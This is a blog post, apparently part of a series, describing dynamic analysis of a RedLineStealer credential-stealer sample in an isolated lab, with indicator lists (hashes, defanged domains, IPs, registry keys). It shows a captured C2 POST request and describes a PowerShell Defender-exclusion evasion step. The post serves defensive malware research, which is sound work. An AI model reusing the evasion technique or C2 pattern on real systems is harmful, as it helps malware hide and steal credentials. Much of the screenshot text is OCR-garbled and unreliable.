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Dynamic analysis involves running a binary and observing its behavior in a controlled environment. This
can be of significant benefit because some capabilities of malware come to life only at runtime, meaning
that the indicators and behaviors would not be observed if only analyzed statically.

In this iteration of my latest series, we dive into RedLineStealer. At the time of writing this blog post,
MalwareBazaar shows RedLineStealer as the second most prevalent malware family in the last 14 days.
The variant we're analyzing is relatively noisy, as you'll see in the content below.

If you're interested in viewing my previous posts in this series, please check them out here:

"Cracking_Open the Malware Pifiata" Series: Analysis Environment Setup

"Cracking_ Open the Malware Pifiata" Series: Intro to Static Analysis with Kazy Trojan

Additionally, if you'd like to get right to the counter-hacking, scroll down to the "Pushing the Big Red
Button" headling. :)
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BEFORE THE BOOM

Prior to double-clicking on that badness-laden executable, there are a couple of things that need to be
done to prepare the environment.

Network Configuration

First and foremost, we need to check the networking between virtual machines. Verify that the network
adapters are set to host only. From there, go into REMnux and identify its IP.

Making note of it, we return to the Windows VM and take the following steps:
1. Access the network adapter settings in Windows
2. Change the Windows IP to be on the same subnet as the REMnux IP
3. Input the REMnux IP as the default gateway and preferred DNS server in the Windows settings
4. Close all dialog boxes
5. Ping the REMnux VM from the Windows VM to make sure the connection is functional

This ensures that any time the Windows VM attempts to establish a network connection, the connection
will be routed to the REMnux VM. This will be useful when it comes time to observing what the malware
calls out to when detonating.

Registry Snapshot

Next, let's grab a snapshot of the registry. RegShot is a tool originally developed in 1999 by TIANWEiI but
contributed to by Maddes, XhmikosR, tulipfan, and Belogorokhov Youri amongst a large cohort of others
over the course of two decades. The RegShot utility enables to user to grab "snapshots" of the registry
prior to and after a specific event. The utility also has a "compare" feature, which highlights the
differences between the "before" and "after" shots.

@ Regshot 1.9.0x64 ANSI — >
Compare logs save as:
P . 1st shot
©Plain TXT () HTML document
2nd sho
B scan dir 1[;dir 2;dir 3;. .. ;dir nn]: Compare
C: .
Clea
Output path: Quit
C:\Wsers'\REM\AppDatailoc | ...
About
Add comment into the log:
English e
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To grab our "before" shot, it's as simple as:
1. Double-click on the RegShot executable
2. Click on "1st Shot," then "Shot and Save"

3. Once complete, name your file and where to save it

VM Snapshot

After completing the registry baseline, it's a good time to take a snapshot of the VM. This will allow you to
revert the Windows VM to this state after detonating the malware. | recommend taking the VM snapshot
after taking the initial registry snapshot to avoid having to repeat the process again.

To take a VM snapshot in VMWare:
1. Go to the toolbar at the top of the window and click on "VM"
2. Hover over "Snapshot"
3. Click "Take Snapshot..."

4. Name it something intuitive and click "Take Snapshot"

PREPARE THE WATCH

The environment is now configured and baselines have been captured. At this stage, we start spinning
up the tools that will actively be running when the malware is executed. It's important to have these tools
active prior to initiating detonation so that we capture all events that take place.

Process Hacker

Process Hacker is one of the first tools | spin up at this point. Developed by Wen Jia Liu with help from
XhimkosR and a plethora of additional contributors, it is a "task manager on steroids." The GUI is
intuitive with highlighting showing which processes are spawning and terminating, modifiable columns,
and additional details visible with just the hover of a mouse.
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Fiddler Classic

Fiddler allows you to observe and inspect HTTP/S network requests. Developed by Telerik, this tool is
one of the several tools available to observe the networking capabilities of the malware once detonated.

QO Progress Teleck Fuddles Web Debugge a *
Fite Eme FRules Took Vies Hep
R Wil onfig by Replay = b Go | I Steaen S5 Decode | Keepe AN sevions = 6 Any Process ) Find [l Save | B (D) 5 Browse = o Clear Cache E
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) Progress'Kendo UI

Made by the same company that brings you Fiddler.

Are you sweating
on building

FakeDNS

Possible overkill, but | normally have this and Fiddler running concurrently. FakeDNS is a command-line
tool available on REMnux and developed by Verisign's iDefense group. It captures all DNS requests sent
to the device its running on and lists them in the terminal in real-time.

a/14



remnux@remnux: - malware FE T P (0 P P

Fakedns [INFO] : Response: dns.msftncsi.com -> 192.168.22
Fakedns [INFO)] : Response: ipvé.msfTtconnecttiest
akedns [ INFO] : ipv6.msTtconnecttest.c
akedns [INFO] : www.msftconnecttest. com
W . msftconnecttest.com
| sTtconnecttest.com -
ftconnecttest.com -= 8
: au,download .windowsupdate,.com -> 192, lﬁﬁ 22,128
: teams.live.com -> 192,168 128
¢ slscr.update.microsoft.com -> 192.168.22.128
: fedcr.delivery.mp.microsoft.com - 2
soft.com -> 192.168.22.128
192.168.22.128
om -= 192.168.22,128
.com ->= 192.168.22.128
akedns [INFO] : ipvé.msTtconnecttest.com -> 192.168.2
akedns [ INFO] : ipvE.msftconnecttest.com -= 192.168
f : Response: ipvE.msfTtconnecttest.com -> 1 168
Fakedns [INFO] : Response: www.msftconnecttest.com -»> 192, 168.
akedns[INFO]: Respon wwiW .msftconnecttest.com -> 192,168,
akedns[INFO]: Respon wwW.msftconnecttest.com -> 192.168
akedns[INFO]: Response: www.msftconnecttest.com -= 192.1
gkedns[INFO]: Response: ipvE.msTtconnecttest.com - 192.lﬁo.

192,168
192.168.22.128

Fakedns [INFO] :

s[INFO] :
akedns [INFO] :
akedns [ INFO] :

Fakedns [ INFO] : Ruspun:e: fedcr.delivery.mp.mic

Fakedns [INFO] : Response: q llVE com
akedns [ INFO] :
akedns [INFO] :

WireShark

While | won't be using it in this specific scenario, Wireshark is an incredibly useful packet capture tool.
Packet inspection is a very useful technique, especially when characterizing communications between a
piece of malware and the infrastructure it's "calling out" to. Dissecting this information can better help
paint the picture of what information the malware is sending or receiving.

Process Monitor

Developed by Mark Russinovich as part of Windows Sysinternals, Process Monitor captures file,
process, registry, and networking events all in real-time. In dynamic analysis, this is magnificent in that in
catches a lot of artifacts that may no longer be present by the time an analyst goes digging for evidence.
Itis also very effective at painting a timeline of events.

W Process Monitor - Symintemals: wwnwsysinternals.com m| =

File  Edit  Ewent FRilter  Tools  Oplions  Help
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PUSHING THE BIG RED BUTTON

Now we're locked and loaded to let the badness run rampant. Here we'll start our analysis of RedLine
Stealer with a sample I've pulled from MalwareBazaar. If you're not familiar, you can check them out
here. I0Cs identified through this process will be summarized at the bottom of the post.

T R T | T e Pl MO A T T T 1 T o b

Right out of the gate, here's the evolution of Process Hacker after initial execution:

v ¥ Procmon6d.exe 7096

@ OneDrive.exe 3976
€ msedge.exe 1280
e msedge.exe 1088
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setup_x86_x64 install.exe spawns setup_installer.exe, which in turn spawns several instances of
Sat19d470e8e0597fc47.exe. Process Hacker allows you to take a look at the memory strings during
runtime. This can be done by right-clicking on the process of interest, clicking "Properties," navigating to
the "Memory" tab, and clicking on "Strings..." Below are screenshots of what this looked like for
Sat19d470e8e0597fc47.exe.

B Results - 52102603158 eddetd exe (4800} - a A
G840 results.
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A0 EL Thes iprogram cannet be run n DOG mede. § |

Owa0koha {1} v, 030319

Oxd108ea £ S B 1L F EIANER Calbvc
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0x411710 15 “TryFrd=b_0_0

Ox4117% 13 Saterzb_00

1175 o anc_ DeplayCiam 0

PR ESS] a1 aletWindcws erson =g __FELM_GetSrng |11_0

Ox411785 1 “Hunxb__10

0x411791 = =GetDefattiPedtddras=b__ 10

Oxd1176 iz <imt>b__2 0

Oxd117es 0 «Dlomanfwstssh_ 4 0

OxdliPed e <z DeplayClagd

VERINE 1 =GEetianargsb_5 0

rim Save... copy [ oom |

Address Length Result
0x412e13 40 B14D74C 5 IEAEFBBFBF 3988800 7DA 2 7FIFCAAF
Ox412e3¢ 0 TBF 2858520439 39E0FB0 /BEC 5552 189AF JBSEREF
Ox412e65 40 FDBEDAD TEE 138 54DCO 3AF 10609 2C 40 383E5TFEEF
0x412898 54 BCRYST_INIT_AUTH_MOCE_INFO_VERSION
Ox412ed4 14 TrylnitNardVPN
Ox41deed 14 TrylratOpenVPN
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B Results - Sat192603358eddefd. exe (450K

977 results,
Address Length Recult
dd4 74 g fEntity fld®Respo. .,
Ox200d67T8 52 ri.orEntity/
OxZecd 704 44 i ora/Ent
{748 =) rgfEntity lds
52 ri.org/Entity/
a4 org/Ent
74 eSO,
£a
24
53
b tac 52 s
Zoce35¢ 2 ri.org/Ent
OxZoce 3al 74 org/Entity fidSRespo..
w2cced38 5 org/Entity/
o cedcd i | tempuri.org Ent
I 2ccee08 8 hittp:f frempun. org Entity 1d7

We see references to "tempuri[.]Jorg" as well as references to "TryInitNordVPN" and "TryInitOpenVPN."
Based on cursory research, the last two references don't appear to be existing open-source
libraries/APls, so these could've been developed by the malware author.

Taking a look over in fakeDNS, we have quite a few attempts to contact domains, aside from general
Windows noise:

: Respon nsftconmecttest.com -= 192.168,22.128
nsftconmecttest.c '
1 wdcp.microseft.com -

45,39.193,212. in-addr.arpa -
dns . msftncsi.con .> 192 16822 128
ans . C 192.168.22.128

» 192.168.22.128

e, 192.168.22.128
i cloudjah.com - 1668.22.128

tlu.dl, deliv ferosoft.com -> 192.168.22,128
- == 192.168.22.1:28

t com -> 192.168.22 178
92.168.22.128

Over the course of time, the malware consistently attempted to call out to hhieuw33[.Jcom. We were able
to take a closer look at that communication in Fiddler:
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Headers | Textwiew | SyntaxView | WebForms | Hexview | Auth Cookies | [ram son | oea |

POST hTTp: / wiws. Bl uew33. com/check,/ 751 d=0&key=Eat GhecdSedddedls Td41elddr 3118cE HTTP/1.1
Proxy-Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; xG4) Applewebkit/537.36 (KHTML, like Geck
Content-Length: 472

HOST: www. hiusw3i3. com

bHpWZVEZEDGC2 JDSTZ IGO0 35w 1 3201 TMWNZ Uk 2SUN TNV TUVT BNk kX TwpF d01E6R X 1 aakvs T1dRM 1 pgVXpNR EDOWM

Find... (press Chrl+Enter to highight alf) I Viewin Notepad ]

In the URL, the malware is attempting to pass some information in the parameters named "sid" and
"key." Additionally, the content of the POST request is encoded in multiple layers, with the outermost

layer being base64.

Moving to the RegShot comparison, output:

Files added: 171

S\Program Files (wiB)\Process Monitor\Logfile, C5V

S\Program Files (xB6)WFarlablainstallecuninsDO, dot

WProgram Files (xB6)%FarlabUninstaller'uninsBgd. exe

sWProgramDataiMicrosof tVWindows WNER \ReportQuese\AppCrash_§. omd_eddic56402033d075d85143cEoafO5dEieB19754_oebc52 A3 _cab 87 2cedee-G936-4E
shProgramData\Microsoftyaindows \WER \ ReportQuese \AppUrash_@. omd_eddicS6dn2e 3 1dBFGAR514 e RoafBhdbe 19758 _obe52FAT_cab_ 872 ceder - 593448
s yPropramlata\Micrasof T Wi ndows \NER\ Reportuess Applrash_g . omd_eddicbhdble 1IdHFHd8 314 Le Baad Dhdbe 19704 _abeh 2P0 _cab Blicedes-E936-4k
APrograsData\Micresof TWindows \NER \ReportQuasa\ipplrash B, omd_addicbedble 13a08Fha831 430 BaadBhdballd754_abc52F83 cab 8F2cadee-6936-ak
£ WPrapramDes ta\Micresof U\ Windows \NER ReportQuane\dppCrash @ omd addic5bdble3IdBF54031 43 BoafBhdheR1754 abc52FR3 cab BF2cedec-6036-4k
YProgramData’\Microesof t\Windows WNER \ReportQuese\Applrash @ omd_eddBc564b2033dBF 540531430 BrafB5dEeBl0754 «Ec52FB2 cab S72cedee-B936-4k
:\Programbata’Microsof tWWindows \WER\ ReportQueve\AppCrash_§@. cmd_eddBc564b2e3 3dBFSdR5143cBeafBhdieBl 9754 ebc52f83_cab S72cedec-6936-4
ProgranData‘\Mi crosof tYaindows \WER\ ReportQuese \AppCrash_@. cmd_eddictadble 3 1dBF 000314 cEeafB0diel19708_obcS2FA3_cab 872 ceder-5934-4k
AProgramDataiMicresof TWindows \NER\ Eeportfuese applrash_Sat1 3830 fal 181 _c M daka Mahat 39 hd Y bdead 3t /2 /bl adBhBde_facds il _cab_adeas
SAPropramlatai\Micessof TWIndows \WER \Eepor TQuese\Applrash_Satloesc fal 37801 _c M FIabb asaf 329F0dhibdead D872 7] adBBde_Facddd_cab_adeas
sWPrapramDs La\Micresof U Windows \NER ReportQuaa dpplrash_Sat1933c7ali768d] c TF3a66TE54F329Fbd5264na098727b1adB6Bde_ TacddThd cab aleas
:\ProgramData’\Microsof t\Windows WNER \ReportQuess\Applrash Sat1993c7al3784] 3266785413 20F045264ead98727b1adB868de TacddTod_cab_aleaa
:YProgramData\Microsoft\Windows WHER \ReportQueue\AppCrash_Sat19983c7a137841 c?FIab67854F 3097 0452640ad98727b10dB0Bde_Tacd4Tbd_cab_afleaz
sYProgramData’\MicrosoltYWindows WHER \ ReportQuese \Applrash_Sat1983c7all7841 oM 1abaTasar 329 Mnd5 E4nad 970701 adBoBde_Facd4Tod_cab_aflens
s yPropramlata\Micrasef T\ Wi ndows \HER\ Reportueus Applrash_Sat133c fal 1M1 _c M daka Mahat 109 ha b bt ad 0 /2 /bl adBhBde_Facds Ml _cab_atdeas
hWProgranData\Micrssof DWindows WWER \Repor tQuese’ipplrash Sat1o03c7al 37801 ol IaboTabif 39 pd0ibdead 38727l adB00de_Facdd il _cab_aleas
WPropranla LahMECrssof UWindows \WER Repor iQueve’\AppCrash Sat1983753301da 427edcShbbod7dBdbe ez ZafadfaTib-7e51012 1168784 cab dedb

ke kakalalakakakslslalakakeloRololokakalnl
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HEUAS-1-5-21- 15068808578 - JE6E347512 - 3650700968 1801 Software\Microsof t\Windows \Currentiersiont Internet Settings\o.@%Cache'\Extensible {achet

Epys addaed: 58

HELMWS0F TRARE \MEcrosof T hystemlerT i4lcates VrthRoat\ Lert it icates VAFRAR AEFY 14 1506200 FHS P RN YEALEREE 1EEE
HELMYSDE TRARE Wi crosofty Tracing\ Sat194dda0dlaec9ca_RASARTLZ
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HELMY SR TRARE \Microsoft\ Tracing\ Sat19F 1cBA4 2646486 AASARTI2
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HELMYSOF TRARE \Microsoft\Windows \Windows Errar Reporting)\Terafeason’\ 4364

HELMVSOF TRARE \Microsof t\Windows \Mirdows Error Reporting)\TermReason’\5084

HELMSOF TRARE \Microsoft \Windows \Wirkows Error Reporting\TernReason\ 3592

HELMYSOF TRARE WM Crosef UWindows \Windows Error Reporting TernReason’ 37538

HELMSOF TRARE VWOWEA 1 Nade Y Hicrasaft) Tdent i tylREL W lockData

HELMWSOE TRARE YWOWES 12 Nade Y Hic rasat tiRindows \LurrentVerslon\Wninsta L IVFarLablndnstal ler. exe_ 351

HELMYSOF TRARE VWOlWiz4 32 Node \Hicroso Tt SystenCerti ficates WathRoot Certi ficate s \B2FAF JE2914 3 540BG0 TS5 FO940F S LAS06E05 1050

HELMSYSTER  ControlSetddlControl \C1as sy Jal 38874 - TREF -d3de- bZef - 8dd25ebORHds }
HELMYSYSTEN Control Se @] Services  PROCHONZA
HELMYSYSTER ConLeod 5e L2801 Services  PROCHONED Tns Lanc e

Walues added: 153
HELMS0F TRARE WMl croso Tt F T CheckPodrt Time s @hcBD3ZRARE
HELMSOFTWARE \Mi crosof 1 SysteaCertiFlcates ViuthRoot \Certificate s\ BIFAF IE 391430850 TS TERADF T EASHESES 1 RES B lak:

HELMA\SOF TWARE WMl crosat th Traclng\Sat1eddded i laecBoa_RASAPIIN Enablef ilelTrecing: OwdbBeoadd
HELMYSOF TWARE W Mic rasoft\ Trac ing \Sat 1044336083 Lanc B a_RASAPTI Enabledutol ileTracing: Be00000000
HELMS0F TRARE WMl crosofth Tracing \Sat 1944488  lapcSca RASAPTI EnablefonsoleTracing: Euladdidoed
HELM\SOF TWARE WMl crosaf T\ Tracing\Rat I idddeailaoecSea_RASAPTIDNF ileTre: ingMack : Puf FRFREED

HELM SOFTWARE WMl crowaft\ Tracingy Sat 1 04440663 1ancBen RASAPTI \ConselaTracingMask: GxFREEO0M
HELMASOF TRARE WMl crosal th Tracing\bat1924dde8 M laecSoa_ RASAP LI\ Mawk 1 lebize: Soiil] Bessi

HELMYSOF TWARE WM e rasaf 1\ Trac Leg\Rat 1uddeailaecBeoa_RSAPTIDF ilalirectory: "EwindirBytracing”
HELMSOF TWARE Wi cronaft ) Tracing Sat 1944006683 1 arc %o RASHENC S\ Enablef i leTracing: Goiiiiean!
HELM\SOF TWARE \Mi crosod T\ Trac ing v RatlutdddedilaecSoa_RASMENC S \EnabledutaFLleTracing ! Ex-Badeeas
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RegShot does an awesome job tracking everything related to the registry, and even goes as far as
tracking file and folder events. We can see several that stand out in relation to the activity we've already
seen, such as the keys which contain the malware executable names.

In a similar but more robust "all encompassing" ability, Process Monitor grabs a plethora of data as well:
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Using some of the pre-built filters located on the toolbar makes it easier to parse through some of the
data. This information could be further whittled down if necessary, but during the initial glance | prefer to
keep as much digestible information as necessary. Process Monitor has a "process tree" feature,
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In this image, it can be observed that the processes associated with the malware spawn cmd.exe, which
then spawns powershell.exe. There's an event in the Process Monitor data showing PowerShell with a
"Process Start" operation after spawning from cmd.exe. This caught my interest because it was a unique
operation in comparison with the bulk of PowerShell events. Further analysis resulted in catching this:

§F Evet Properties b

¥ Bt & Proces: B Shack
D 2 EcIEAT AN TG AR

Thirac:

Opesatian Progess St

Rrusht SUCCESS

e
powerhel mpatfaimal rene s
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For those unfamiliar, Set-MpPreference is a PowerShell cmdlet associated with Windows Defender
scans. The malware authors developed the specimen such that it would leverage PowerShell to disable
Defender monitoring on the directory where the malware resides. In layman's terms, they're using

PowerShell to tell Defender "nothing to see here" when it comes to the folder where all of the badness is.

This is what could be considered an evasive maneuver.

A useful tool related to Process Monitor is ProcDOT. Developed by Christian Wojner, it provides
correlation and visualization of Process Monitor and PCAP data. If there's a ton of data, the visual can
seem convoluted from a zoomed out view, but it helps in showing how processes, file writes, and other
events are related.
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Without being able to connect back to its "mothership," the malware doesn't do much more than what's
already been displayed. In order to further analyze a specimen of this nature, being reliant on a network
connection, it would be useful to utilize dispensable hardware, a public network, and a VPN solution, with
the intent being to do a full system restoration after detonation. This method is labor intensive and risky
and not recommended for folks with minimal experience.

SO...WHAT IS REDLINESTEALER?

RedLineStealer is a credential stealer that targets web browsers. Access to the tool is available on the
forums for several hundred dollars. The website HavelBeenPwned recently added almost half a million
entries related to RedLineStealer credential theft. Check it out here if you have concerns regarding your
creds and whether or not they've been compromised in a malicious campaign.

Indicators of Compromise (IOCs) for RedLineStealer

File name: setup_x86_x64_install.exe

File hash: a12d74b1756d49531e21f755fef2049ab6c83626f0834cb945¢781c39d40a177

File name: Sat19d470e8e0597fc47.exe (or similarly named matching the same alphanumeric pattern)
File path: C:\Users\User\AppData\Local\Temp\7zS4441B019\Sat19d470e8e0597fc47.exe

File hash: BC118B7708D56B93707A9BB025D3BF62D723B7932435A08299F59249C1C37DBE

File name: @.cmd

File path: C:\Users\User\AppData\Local\Temp\IXP000.TMP\@.cmd

File hash: 286227287F1FA79D5D5D909C2F457F CADOAEFA6BE9E940F9A1F214D113FF88B4

File name: Sat195518974c.exe

File path: C:\Users\User\AppData\Local\Temp\7zS0437FC5D\Sat195518974c.exe
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File hash: 13357A53F4C23BD8AC44790AA1DB3233614C981DED62949559F63E841354276A
File name: IXP000.TMP
File path: C:\Users\User\AppData\Local\Temp\IXP000.TMP

Directory: C:\Program Files (x86)\FarLabUninstaller\*

Domains associated:
www.hhiuew33[.]Jcom
gp.gamebuy768[.Jcom
one-mature-tube[.Jcom
cloudjah[.Jcom
kelenxz[.]xyz
ad-postback[.]biz

IPs associated:
212.193.30[.]45
159.69.246[.]184
Registry keys:

HKLM\SOFTWARE\Microsoft\Tracing\Sat194d446031aec9ca_RASAPI32
HKLM\SOFTWARE\Microsoft\Tracing\Sat194d446031aec9ca_ RASMANCS
HKLM\SOFTWARE\Microsoft\Tracing\Sat19f1c04426464e86_RASAPI32
HKLM\SOFTWARE\Microsoft\Tracing\Sat19f1c04426464e86_ RASMANCS

HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FarLabUninstaller.exe_is1

TOOLS AND REFERENCES

e Process Monitor

e ProcDOT
o WireShark

o Fiddler

e Process Hacker

¢ FakeDNS
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